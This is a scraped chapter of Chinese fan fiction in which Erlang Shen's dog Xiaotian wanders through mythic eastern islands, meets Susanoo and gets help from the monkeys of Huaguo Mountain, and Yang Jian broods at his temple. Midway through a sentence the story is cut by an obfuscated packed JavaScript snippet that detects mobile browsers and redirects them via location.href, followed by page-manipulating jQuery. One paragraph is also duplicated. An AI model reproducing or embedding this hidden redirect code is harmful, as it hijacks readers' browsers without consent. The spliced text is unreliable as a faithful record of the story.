25.番外三:哮天犬东游迷途记(3)

作品:《(宝莲同人)莲灯焚尘

    本来应该从从容容游刃有余,


    结果却是匆匆忙忙连滚带爬……


    最初的阶段是纯粹的灾难。它失去了明确目标,只能凭着一股执拗,朝着船只消失的大致方向漂流加飞行。海上灵气稀薄且紊乱,法力消耗得不到补充,它很快就变得灰头土脸,原本油光水滑的黑毛打了结,沾满盐渍和海藻,看起来像条巨大的流浪癞皮狗。


    它遇到过能喷吐毒雾、长着翅膀的“酸与鸟”(《山海经》中山系异兽,模样像蛇,四翼六目三足),被追着啄了半天,好不容易用爪牙撕碎一只,肉却是酸的,难吃得它直吐舌头。


    它闯进过一片终年被彩色迷雾笼罩的岛屿,岛上住着些下半身是鱼尾、上半身却像孩童的“鲛人”。鲛人们一开始很害怕这只大黑狗,后来发现它只是饿得眼冒绿光、偷吃他们晒的鱼干,并没有伤人,便好奇地围过来,送给他珍珠——开玩笑,狗对珍珠可没兴趣,求多投喂小鱼干!不过,嘿嘿,亮晶晶的也挺好玩的,不如拿几个回头逗逗小孩儿?


    哮天犬在这里休整了几天,吃了不少烤鱼,虽然没打听到沉香的消息,但总算填饱了肚子,毛发也稍微顺溜了点。


    继续向东,它跨越了一片风暴永不止息的海峡,误入了一片植被极其茂盛、巨木参天的列岛。


    这里可比不上中土,总觉得有点邪气——


    他先是遇到了一群穿着树叶、戴着面具、举着简陋法器,围着篝火跳舞嚎叫的“土著巫觋”,他们似乎把它当成了某种山神或妖怪的化身,试图用舞蹈和祭品(生鱼和野果)安抚它。哮天犬莫名其妙地享用了一顿贡品,然后在巫觋们敬畏的目光中大摇大摆离开。


    先是遇到了一群穿着树叶、戴着面具、举着简陋法器,围着篝火跳舞嚎叫的“土著巫觋”,他们似乎把它当成了某种山神或妖怪的化身,试图用舞蹈和祭品(生鱼和野果)安抚它。哮天犬莫名其妙地享用了一顿贡品,然后在巫觋们敬畏的目光中大摇大摆离开,心里嘀咕:“这地方的野人,祭品也太寒酸了,连根像样的骨头都没有。”


    接着,它在深山里撞见了一只长着九条尾巴、通体雪白、眼睛赤红的妖狐。那狐狸魅惑之力极强,眼中流光溢彩,试图迷惑这只看起来神异不凡的黑犬,或许想收作仆从或探听来历。可惜哮天犬心智单纯(或者说一根筋),除了主人杨戬的命令,其他迷惑基本免疫。它抽了抽鼻子,只觉得这狐狸味道怪怪的,一股子骚媚邪气,不像好狗(?也不像好兽),本能地感到厌恶,于是龇牙低吼了一声,身上那源自正统天庭神兽的凛然正气(兼有一丝司法天神麾下的煞气)自然流露。


    那九尾狐魅术反噬,仿佛看到了什么极其恐怖的存在——并非力量上的绝对碾压,而是一种根源上的、位格上的克制与灼烧感!它尖叫一声,吓得魂飞魄散,连法术都维持不住,化作一道狼狈的白烟逃窜,连最心爱的两条尾巴都差点被自己踩到。从此,这片山区多了个“驱邪黑犬神”的传说,据说专克狐媚妖物。


    哮天犬撇撇嘴:“花里胡哨,中看不中用。” 继续它的寻主(小主人)之旅。


    最“惊险”的一次,它在一个巨大的、冒着硫磺烟气的火山口附近,嗅到一股沉厚的土灵之气,还夹杂着一丝宝光,以为有什么天材地宝或特殊线索(说不定跟地脉变动、船只漂流有关?),结果卖力地挖着挖着,不小心触动了一个古老的封印结节。


    “轰隆!”


    地动山摇间,火山腹地裂开一道缝隙,腥风扑面!一条有着八个巨大头颅、八条尾巴的恐怖巨蛇,嘶吼着从沉睡中被惊醒!每个蛇头都狰狞无比,吞吐着腥臭的毒雾和火焰,身躯盘踞如山,实力看上去确实远超之前的酸与鸟和九尾狐。


    若是全盛时期,哮天犬敢跟它硬碰硬过几招。但此刻它长途跋涉、法力未复,硬拼不明智。“主人说过,好狗不吃眼前亏!” 它牢记教诲(主要是觉得打输了丢主人的脸),立刻凭借远比巨蛇小巧灵活的身形和哮天犬一族天生的敏捷速度,在八颗疯狂舞动、喷吐毒液烈焰的巨大蛇头之间,上演了一场极限逃生。


    它如同黑色闪电,在毒液缝隙中穿梭,躲开泰山压顶般的蛇尾横扫,偶尔还抽冷子在某条反应稍慢的蛇颈上挠一爪子,虽不致命,但侮辱性极强,气得那巨蛇狂性大发,却又因为头颅太多有时互相妨碍,奈何不了这条滑溜的黑狗。


    混乱中,哮天犬眼尖,瞥见巨蛇原本盘踞守护的地方,有一枚散发着清冽灵光、形制古朴的勾玉,一看就不是凡品。“嘿,不能白被你这长虫吓一跳!” 它瞅准一个空档,猛地窜过去,一口叼住那枚勾玉,感觉到其中蕴含着精纯的水灵与净化之力,是个好东西!


    得手之后,它更不恋战,尾巴一甩,化作一道黑光,凭借着盗……呃,是战术获取的宝物加持,速度更快几分,险之又险地冲出了火山范围,将那无能狂怒的八头巨蛇甩在身后。


    跑出老远,哮天犬才停下,把勾玉吐在爪边,得意地昂起头,舔了舔有些凌乱的毛:“汪!(不愧是我!就算法力都快没了,收拾你这种空有块头的蛮荒邪妖,还不是手到擒来?)”


    ——————————————————————————————————————————


    叼着勾玉的哮天犬继续在列岛间游荡,愈发感到此地灵气混杂,神道气息微弱而混乱,与中土玄门正宗的清灵浑厚截然不同。一日,它行至一处濒海的悬崖,忽觉怀中的勾玉微微发烫,前方雾气散开,露出一个坐在礁石上、对着大海独饮的身影。


    那身影高大魁梧,披散着狂野的长发,面容粗犷,带着几分落拓与郁气,身边倒着一把巨大的十拳剑,酒气弥漫。但哮天犬一眼就看出,此“人”绝非凡俗!其周身萦绕着一股极其强横却又混乱狂暴的“神”力,远超之前遇到的任何妖怪,甚至比许多中土的山神河伯气势更强,只是这神力充满了戾气、悲伤与不稳定感。


    更让哮天犬狗躯一震的是,它体内属于“天狗”的血脉,竟在此刻产生了一丝极其微弱、却无法忽略的共鸣?


    那身影也察觉到了哮天犬,醉眼朦胧地转过头。当他的目光落在哮天犬身上时,先是疑惑,随即猛地睁大了眼睛,手中的酒盏“啪”地掉在礁石上。


    “你……这股气息……” 粗犷神明晃晃悠悠地站起来,死死盯着哮天犬,尤其是它颈间因勾玉发热而泄露的一丝水灵宝光,“‘天逆每’……不,不对,更古老……更纯粹……来自那片巨大大陆的……‘天狗’?” 他的声音带着震惊与一种难以言喻的复杂情绪。


    哮天犬警惕地后退半步,龇牙低吼:“汪汪!(你是谁?想干嘛?)” 它能感觉到对方没有立刻的敌意,但那强大的力量和混乱的气息让它不敢放松。


    “我?呵……” 粗犷神明笑了笑,指了指自己,“我是须佐之男,被放逐于此的落魄之神。” 他顿了顿,眼神变得有些古怪,甚至带着一丝探究和莫名的“亲切”,“至于你……小家伙,你知不知道,按照这片土地上源自出云的说法,我们可能还有点‘血缘’关系?”


    “汪??” 哮天犬狗脸懵逼。血缘关系?跟这个醉醺醺的蛮神?开什么玩笑!我哮天犬是纯种中华细犬,得道于二郎真君麾下,正神!你都不懂!你好歹也得尊称我一声星君!!


    须佐之男似乎看出了它的疑惑和不屑,也不生气,反而有些唏嘘地坐下,拍了拍身边的礁石:“过来坐坐?唉,我就是好久没见到同族了……”


    或许是对方语气中的落寞不似作伪,或许是想打听消息,哮天犬犹豫了一下,小心地靠近了几步,但依然保持距离。


    须佐之男望着大海,缓缓道:“古老相传,我体内积郁的狂暴戾气,曾化生出一位名为‘天逆每’的女神,她被视为这片土地上最初的‘天狗’。后来天狗一族在此繁衍变化……所以,若按这个说法,我算是此地天狗一族的源头始祖之一。” 他看了一眼哮天犬,意味深长,“而你,你的血脉气息,似乎印证了‘天狗’之名的某种更古老的、更本源的涵义,甚至让我这‘始祖’都感到一丝微弱的共鸣。这很有趣,不是吗?”


    哮天犬听得半懂不懂,但捕捉到关键信息:这蛮神好像是本地天狗的祖宗?它心里顿时冒出个念头,狗嘴差点咧开:“汪汪?(所以,按这说法,你们这边最大的神之一,其实是……狗祖宗?)” 它赶紧绷住脸,不能笑,笑了可能挨揍。须佐之男不知有没有读懂狗脸上的微妙表情,他叹了口气,指了指哮天犬颈间:“你身上有‘八俣远吕智’(即八岐大蛇)看守的勾玉气息,那本是我当年斩杀它时,从其尾部所得,后来不知为何又回到那蛇妖沉睡之处。你能从它那里夺来,看来本事不小。你在此徘徊,是在寻找什么?”


    听到对方似乎知道大蛇,还能感应勾玉,哮天犬稍稍放松。


    法力还是太少,化不成人形,只能用神识传达出寻找从中土流落至此的船只和少年的意念。


    “中土的船?少年?” 须佐之男沉吟片刻,摇了摇头,“我久居此地,未曾留意。不过,从此向东,穿越那片常年有雷云守护的广阔海域,有一处名为‘东胜神洲’的大陆,其近海有‘傲来国’,据说常有各方奇人异士、漂流之物汇聚。你要找中土线索,或可去那里碰碰运气。那条海路险峻,但有这枚‘水玉’(指勾玉)护身,可保你避开大部分风浪水怪。”


    说着,他伸出手指,凌空一点,一道蕴含着海洋与风暴气息的微弱神念传入哮天犬脑中,正是一幅简略却清晰的海图,指向东胜神洲傲来国。


    哮天犬大喜,没想到因祸得福,打了大蛇,拿了勾玉,竟能得到本地土神的指点!它连忙点头,用鼻子把勾玉拱了拱送给须佐之男,尾巴不自觉地摇了起来。


    须佐之男看着它高兴的样子,脸上也露出一丝难得的、近乎温和的笑意:“去吧,外来的小天狗。你的主人,想必是位了不得的存在,才能拥有你这样的神兽。若有机会……代我向那片古老大陆的神明问好。” 他的眼神望向西方,充满了复杂的向往与怅惘。


    “汪!汪汪!(多谢指点!后会有期!)” 哮天犬道了谢(虽然觉得这蛮神认狗亲的行为有点怪),转身就要离开。


    “等等。” 须佐之男忽然又叫住它,语气带着一丝促狭,“若在傲来国或别处,遇到自称‘天狗’的本地妖怪,你可以告诉它们……嗯,就说是‘素盏呜尊(须佐之男)认可的外族同宗’。或许,能省去些麻烦。”


    哮天犬脚下一滑,差点栽倒。同宗?!谁跟那些奇形怪状的本地天狗是同宗啊!它头也不回,加速跑开,心里疯狂吐槽:“主人!这地方的神明脑子都不太正常!居然乱认亲戚!我还是赶紧找到路回去要紧!”


    看着黑犬仓皇远去的背影,须佐之男摇头失笑,重新拿起酒壶,对着西边的晚霞举了举,低声自语:“中华神犬……二郎真君麾下……看来,那片土地,依旧精彩啊,有趣有趣!” 他将酒一饮而尽,笑声混合着海涛,随风飘散。


    ——————————————————————————————————————


    哮天犬稀里糊涂地继续毫无目的地漂呀漂,漂洋过海,竟然真的来到了东胜神洲地界,靠近了傲来国。


    傲来国花果山附近,山林丰茂,灵气十足。疲惫不堪的哮天犬在这里终于能好好喘口气,捕猎些寻常野兽,恢复体力。它依旧没放弃寻找,每天都会跑到最高的山崖上,对着大海和风,拼命嗅探,希望能捕捉到哪怕一丝熟悉的气息。


    这天,它正在溪边喝水,忽然听到一阵嘻嘻哈哈的喧闹声。一群毛色各异、大小不一的猴子,从山林间荡着藤蔓跳出来,看到溪边喝水的“大黑兽”,先是吓了一跳,随即好奇心起,围着它指指点点,扔果子试探。


    哮天犬心情正郁闷,被猴子骚扰,不耐烦地低吼一声,露出獠牙。猴群惊散,但很快,几只特别胆大精壮的猴子又聚拢过来,手里拿着木棍、石块,嗷嗷叫着,似乎想驱赶这只闯入它们地盘的“外来户”。


    若是平时,哮天犬一爪子就能拍飞这群凡猴。但它牢记主人“不可无故伤及凡俗生灵”的教诲(主要是怕惹麻烦暴露行迹),加上实在没心情跟猴子打架,便转身想走。


    谁知猴群见它退缩,以为它好欺负,顿时来了劲,石头果核如雨点般砸来。虽然不痛不痒,但砸在身上也烦。哮天犬怒了,猛地回头,冲着为首的猴王一声雷霆般的咆哮:“汪——!!!”


    这一声吼,蕴含了它一丝天狗本源之力,虽未全力,却也震得山林簌簌,群猴耳膜生疼,叽喳乱叫着跌倒在地,惊恐地看着这只“会打雷的黑毛怪”。


    就在这时,一个苍老却精神矍铄的声音响起:“何方道友,在此惊扰我这些孩儿们?”


    只见一个白发白眉、手持藤杖的老猴,在一众更加高大健壮、


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990617|193483||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼神灵动的猴子护卫下,从水帘洞方向走来。这老猴气息沉凝,显然不是凡种,颇有几分道行,正是花果山猴群中资格最老、见识最广的通背猿猴。


    哮天犬能感觉到这老猴不好惹,而且对方似乎并无太大敌意。它收起凶相,但依旧警惕,用神识勉强传达出简单的意念:“路过,找……人,不惹事。”


    通背猿猴仔细打量着哮天犬,眼中闪过一丝惊疑。这黑犬虽显落魄,但神韵内藏,爪牙间隐有风雷之气,绝非寻常妖兽,倒像是……天上来的?它挥退犹自不服的猴群,上前几步,态度和缓:“道友看来远道而来,甚是疲惫。若不嫌弃,可到我水帘洞中歇息片刻,饮些泉水,食些瓜果。我花果山别的不多,鲜果管饱。或许,老夫也能帮道友打听打听消息?”


    哮天犬犹豫了。它确实又累又饿,更重要的是,这老猴看起来见识不凡,说不定真听说过什么?它点了点头,跟着通背猿猴进了水帘洞。


    洞天福地,果然名不虚传。哮天犬饱餐了一顿鲜美瓜果,精神好了不少。通背猿猴与它交谈,旁敲侧击它的来历。哮天犬不敢泄露主人和沉香之事,只含糊说是从中土而来,寻找一个乘坐大船、可能流落海上的少年。


    “中土?大船?” 通背猿猴捻着白须,“这些年,确有些风暴将远洋船只刮到东胜神洲沿岸,但多是商船或渔民,未曾听说有特殊少年……” 它见哮天犬失望,又道:“不过,道友既从中土来,可曾听过‘齐天大圣孙悟空’之名?”


    孙悟空?!哮天犬耳朵猛地竖了起来,狗眼瞪圆,下意识地缩了缩脖子。它岂止听过!当年它可是跟着主人一起,和那猴子打过架的!还被那金箍棒擦到过边,疼了好几天!最重要的是——它好像还趁乱偷偷咬过那猴子的小腿一口! 虽未破防,但绝对被那猴子记仇了!


    看到哮天犬这反应,通背猿猴和周围一些年长的猴子都笑了。通背猿猴道:“看来道友是知道的。大圣爷虽已被佛祖压在五行山下,但他老人家当年结交广阔,三山五岳、四海八荒,都有朋友门路。我花果山猴群,也算是大圣爷的眷属旧部。道友若是寻人心切,或可告知更多细节,老夫或许能发动儿郎们,在沿海各处、乃至通过一些古老的海路传闻帮你留意。这东胜神洲通往中土的海路,虽险,却并非无迹可循。”


    帮忙?花果山的猴子帮忙?哮天犬内心挣扎。一方面,这可能是找到小主人线索的巨大机会;另一方面,要是被它们知道自己是杨戬的狗,还咬过它们大圣爷……会不会被猴群乱棍打死?


    它狗狗祟祟地左右看看,压低声音(神识传达都弱了几分):“那个……我和你家大圣爷,当年……可能有点小误会。我……我是司法天神杨戬座下……的……一条普通的狗。” 它特意强调“普通”,希望蒙混过关。


    没想到,通背猿猴愣了一下,随即哈哈大笑,洞中其他知道“齐天大圣”故事的猴子们也哄笑起来,却没有多少敌意。


    “我道是谁家神犬有此风采,原来是清源妙道真君座下!” 通背猿猴笑道,“道友不必担心。当年天庭围剿,各为其主罢了。大圣爷后来也曾提过,二郎真君是个值得一战的对手,至于他身边那条‘挺会找机会下黑嘴’的狗……” 老猴戏谑地看着瞬间把脑袋埋进爪子里的哮天犬,“大圣爷说,也算本事!不打不相识嘛!如今大圣爷遭难,真君似乎也……嘿嘿,不提也罢。总之,帮忙寻人,与旧日恩怨无关,我等猴群,最是热心肠!”


    哮天犬没想到猴子们这么豁达(或者说,孙悟空根本没那么小心眼记恨一条狗?),感动得差点掉眼泪。于是,它稍微透露了一些沉香的特征,拜托猴群帮忙留意沿海是否有落难的中土少年或船只消息。


    花果山猴群果然发动起来。它们的势力范围远超哮天犬想象,通过树梢传递消息、利用飞鸟猴类互通有无,很快,一些零碎的线索开始汇聚:东南方向更远的群岛上,似乎有中土风格的船影出现过;有海鸟见过船上有人影活动;甚至隐约有“灵光”“异象”的传闻。


    更重要的是,通背猿猴凭借古老的海图记忆和猿猴一族代代相传的航海知识,为哮天犬大致勾勒出了一条从东胜神洲返回中土、相对安全且能避开大部分险恶海域的路线!虽然依旧漫长艰险,但总算有了方向!


    “多谢!多谢猴老!多谢各位猴兄!” 哮天犬激动得尾巴狂摇,挨个用湿漉漉的鼻子去拱猴子的手(被嫌弃地躲开)。


    在花果山又休整数日,彻底恢复元气后,哮天犬带着猴群赠送的、能一定程度上指引方向、安抚风浪的“定风桃核”和一大堆鲜果干货,踏上了归途(也是继续寻找之路)。


    这一次,它目标明确,归心似箭,也带着新的希望。它要沿着猴子们指的路,先回到中土,再想办法!主人,小主人,等着我!我哮天犬,一定会回来的!


    ————————————————————————————————


    灌江口,真君神殿。


    杨戬站在庭院中,望着东南天际,已经站了许久。梅山六怪陆续传回一些模糊的、指向东南深海的消息,但都语焉不详,无法确定沉香具体位置。而哮天犬……自它出发后,就音讯全无。


    “康安裕他们找不到也就罢了,连哮天犬的万里追踪都失效了?还是说……” 杨戬心中掠过一丝不祥,但随即被他自己否定。那狗虽然有时犯傻,但保命本事一流,应该不会有事。


    只是,这种完全失去掌控、身边最信任得力的助手一个个“失灵”的感觉,实在糟糕透顶。


    “妹妹,你现在又如何了?” 他看向华山方向,眼中闪过深切的痛楚与无奈,“还有沉香……你到底流落到了何方?张道陵……但愿你真的能救他,而非……”


    他揉了揉眉心,那副威严冷峻的司法天神面具下,是无人能见的疲惫与忧虑。贴心的妹妹反目成仇,救过的下属心生隔阂,唯一一个全心全意、傻乎乎信任他、依赖他的狗,如今也下落不明。


    这局棋,越来越孤,越来越险。但他不能退,也无处可退。


    “通天教主那边,需要加快接触了……” 他低声自语,转身走入神殿深处。身影在空旷的大殿中,显得格外孤寂。


    而此刻,在茫茫东海与东海的交界某处,一条恢复了神骏、眼神却更加坚毅的黑犬,正乘风破浪,努力辨认着方向,朝着家的方向,也是向着它认定的使命,倔强前行。